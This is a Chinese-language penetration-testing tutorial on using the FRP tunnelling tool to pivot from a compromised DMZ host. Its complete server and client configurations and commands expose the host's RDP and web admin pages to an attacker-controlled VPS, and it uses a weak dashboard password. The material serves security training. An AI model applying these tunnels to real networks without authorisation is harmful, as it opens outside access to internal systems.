FRP介绍
FRP是一款简单,好用,稳定的隧道工具。FRP 使用 Go 语言开发,它是一款高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务。FRP 支持 TCP、UDP、KCP、HTTP、HTTPS等协议类型,并且支持 Web 服务根据域名进行路由转发。在进行内网渗透中,FRP是常用的一款隧道工具。
FRP下载.
场景说明
假设存在这样一个场景,我们获取了处于DMZ区的一台主机权限,其通过NAT方式出外网,现在我们需要继续对内网进行渗透,于是,我们需要通过FRP建立一个隧道,让我们的主机可以通过隧道访问内网。
我的VPS内部地址是192.168.40.86,并将3106端口映射到外网43106。
使用FRP映射3389端口
服务端配置
VPS作为服务端,其配置frps.ini如下
[common]
bind_port = 7000 #绑定的端口
#dashboard_port状态以及代理统计信息展示,网址:7500可查看详情
dashboard_port = 7500
#dashboard_user访问用户dashboard_pwd访问密码
dashboard_user = admin
dashboard_pwd = 123456
#log_file日志文件log_level记录的日志级别log_max_days日志留存3天authentication_timeout超时时间
log_file = ./frps.log
log_level = info
log_max_days = 3
authentication_timeout = 0
#max_pool_count最大链接池,每个代理预先与后端服务器建立起指定数量的最大链接数
max_pool_count = 50
启动服务端:./frps -c frps.ini
客户端配置
DMZ区的主机作为客户端,其配置如下
[common]
server_addr = 192.168.40.86 #服务端(VPS)地址
server_port = 7000 #服务端(VPS)绑定的端口
[rdp]
type = tcp #协议类型
local_ip = 127.0.0.1 #需要代理出去的IP
local_port = 3389 #需要代理出去访问的端口
remote_port = 3106 #转发出去的端口
启动客户端:frpc.exe -c frpc.ini
访问http://192.168.40.86:7500,查看tcp,隧道搭建成功
现在我们连接192.168.40.86:3106或115.x.x.x:43106,即可连接到DMZ区主机的远程桌面。
使用FRP映射web服务
在DMZ区主机(192.168.29.132)上开启web服务
服务端配置
VPS作为服务端,其配置frps.ini如下
[common]
bind_port = 7000 #绑定的端口
#dashboard_port状态以及代理统计信息展示,网址:7500可查看详情
dashboard_port = 7500
#dashboard_user访问用户dashboard_pwd访问密码
dashboard_user = admin
dashboard_pwd = 123456
#log_file日志文件log_level记录的日志级别log_max_days日志留存3天authentication_timeout超时时间
log_file = ./frps.log
log_level = info
log_max_days = 3
authentication_timeout = 0
#max_pool_count最大链接池,每个代理预先与后端服务器建立起指定数量的最大链接数
max_pool_count = 50
启动服务端:./frps -c frps.ini
客户端配置
[common]
server_addr = 192.168.40.86 #服务端(VPS)地址
server_port = 7000 #服务端(VPS)端口
[HTTP]
type=tcp #协议类型
local_ip = 127.0.0.1 #需要代理出去的IP
local_port = 80 #需要代理出去访问的端口
remote_port = 3106 #转发出去的端口
custom_domains=192.168.29.132 #网站域名,我这里没有设置域名访问,继续使用IP访问。
启动客户端:frpc.exe -c frpc.ini
访问http://192.168.40.86:7500,查看tcp,隧道搭建成功
现在访问http://115.x.x.x:43106//empirecms/upload/e/admin/index.php
,即可访问到DMZ区主机的web服务。
备注:映射其他服务,如SSH、Mysql、Redis等服务和映射web、rdp服务一样,修改一下映射的端口即可。